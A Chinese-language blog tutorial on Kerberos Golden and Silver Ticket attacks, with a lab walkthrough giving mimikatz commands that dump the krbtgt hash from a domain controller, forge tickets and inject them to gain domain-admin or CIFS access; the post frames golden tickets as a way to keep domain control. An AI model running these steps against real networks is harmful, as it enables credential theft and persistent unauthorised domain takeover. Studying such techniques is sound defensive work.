黄金票据&白银票据

黄金票据

在kerberos的认证过程中,AS_REP中的TGT是使用 krbtgt 用户的hash进行加密的,那么如果我们获取到了 krbtgt 的hash,也就能够伪造任意TGT,就能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。因为krbtgt只存在于域控上,所以使用黄金票据就说明之前获取过域控的权限。

使用黄金票据需要获取以下信息

  • 需要伪造的用户名(通常为域管理员)
  • 完整的域名
  • 域的SID
  • krbtgt 的hash

其中域的SID就是指域用户的SID去掉最后的那部分

Untitled

可以看到novic4和novic3的SID的区别只在最后一部分,前面的部分完全一样。

黄金票据其实主要是做权限维持用的,当我们丢失了已获取的域管权限,但是手上还有一个域普通用户的权限,这时我们就可以通过黄金票据来重新获取域管权限。

测试

环境:

  • windows2012 DC
  • windows7 普通域机器

注入黄金票据前在win7上执行

Untitled

分别在两台机器上上传 mimikatz ,现在域控上导出krbtgt 的ntlm和域的SID

peivilege::debug
lsadump::lsa /patch //专用于在域控制器上导出用户密码或 hash

Untitled

接着到win7上生成TGT凭证

kerberos::golden /user:[username] /domain:[domain name] /sid:[SID] /krbtgt:[krbtgt ntlm] /ticket:[filename]

Untitled

就在当前目录生成了 ticket.kirbi

Untitled

然后将TGT注入到内存

kerberos::ptt ticket.kribi

Untitled

使用 kerberos::tgt 即可查看我们注入的凭证,然后exit,我们就获取到域管理员的权限了

Untitled

白银票据

在客户端和TGS的认证过程中,认证成功后,TGS会返回使用服务端hash加密的 server ticket ,那如果我们获取了服务端的hash,就可以自己签发这个服务授予票据,相当于伪造了TGS。因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

使用白银票据需要获取一下信息

  • 完整的域名
  • 域的SID
  • 目标服务器的FQDN(也就是主机名和域名)
  • 可利用的服务
  • 服务账号的hash
  • 需要伪造的用户名

测试

这里使用白银票据来伪造 CIFS 服务权限,CIFS 服务通常用于Windows 主机之间的文件共享。

获取服务账号的hash

Untitled

然后生成并注入银票

kerberos::golden /domain:novic4.test /sid:S-1-5-21-1664645938-1184495279-1874068674 /target:DC.novic4.test /rc4:6e7a4016ad67fc364496dff28021abfb /service:cifs /user:administrastor /ptt

Untitled

Untitled

可以看到成功注入银票

Untitled

能够成功获取到域控的共享文件夹,但是CIFS是针对于文件共享服务的,其他服务并不能使用该银票

Untitled

可以看到,访问被拒绝

本文链接:

http://novic4.cn/index.php/archives/11.html
1 + 8 =
快来做第一个评论的人吧~